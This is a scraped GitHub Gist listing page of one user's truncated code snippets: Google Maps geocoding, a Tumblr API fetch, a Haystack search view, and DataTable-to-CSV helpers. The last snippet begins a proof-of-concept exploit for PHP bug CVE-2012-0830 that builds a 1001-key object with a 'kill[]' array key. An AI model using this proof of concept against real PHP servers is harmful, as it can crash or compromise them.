Skip to content

Instantly share code, notes, and snippets.

centerMapOnCity: function() {
var that = this;
this.deleteOverlays();
var entered_city = $("post_location_name").value;
if(entered_city) {
var city = "", state = "", country = "";
this.geocoder.geocode( { 'address': entered_city}, function(results, status) {
if (status == google.maps.GeocoderStatus.OK) {
var latlng = results[0].geometry.location;
general_location = that.getGeneralLocation('address', results);
@pilate
pilate / gist:768298
Created January 6, 2011 18:24 — forked from seanh/gist:768283
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js" type="text/javascript"></script>
<script type="text/javascript">
function fetchAndPrintPosts(id,num,tag)
{
// Read data from Tumblr, this creates the variable tumblr_api_read.
jQuery.ajax({
url : "http://staff.tumblr.com/api/read/json?num=" + num + "&filter=text&tagged=" + tag,
dataType : "jsonp",
success : function(test) {
var http = require('http'),
net = require("net"),
fs = require("fs"),
Canvas = require('canvas');
var path_regex = /^\/apb\/status[\/]?$/;
var image_cache;
var servers = [{
<?php
print 'hi';
?>
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width; height=device-height; initial-scale=1.0; maximum-scale=1.0;"/>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script>
<script type="text/javascript">
window.onload=function(){
@pilate
pilate / searchview.py
Created December 14, 2011 04:51
Sort Haystack SearchResults
from haystack.views import SearchView
class CustomSearch(SearchView):
def extra_context(self):
seg_results = {}
for result in self.results:
if not result.model_name in seg_results:
seg_results[result.model_name] = [result]
else:
seg_results[result.model_name].append(result)
@pilate
pilate / urls.py
Created December 14, 2011 05:56
Using a custom SearchView
...
from myproject.appname.searchviews import CustomSearch
...
urlpatterns = patterns('',
...
(r'^search/', CustomSearch()),
...
)
@pilate
pilate / DataTableToCSV.js
Created December 14, 2011 16:43
Convert instance of 'google.visualization.DataTable' to CSV
/**
* Convert an instance of google.visualization.DataTable to CSV
* @param {google.visualization.DataTable} dataTable_arg DataTable to convert
* @return {String} Converted CSV String
*/
function dataTableToCSV(dataTable_arg) {
var dt_cols = dataTable_arg.getNumberOfColumns();
var dt_rows = dataTable_arg.getNumberOfRows();
var csv_cols = [];
@pilate
pilate / extend.js
Created December 14, 2011 16:52
Extending the 'google.visualization.DataTable' prototype with toCSV
// Extend DataTable functionality to include toCSV
google.visualization.DataTable.prototype.toCSV = function () {
var dt_cols = this.getNumberOfColumns();
var dt_rows = this.getNumberOfRows();
var csv_cols = [];
var csv_out;
// Iterate columns
for (var i=0; i<dt_cols; i++) {
// Simple proof of concept for PHP bug (CVE-2012-0830) described by Stefan Esser (@i0n1c)
// http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/
// Generate 1000 normal keys and one array
function createEvilObj () {
var evil_obj = {};
for (var i = 0; i < 1001; i++) {
evil_obj[i] = 1;
}
evil_obj['kill[]'] = 'kill';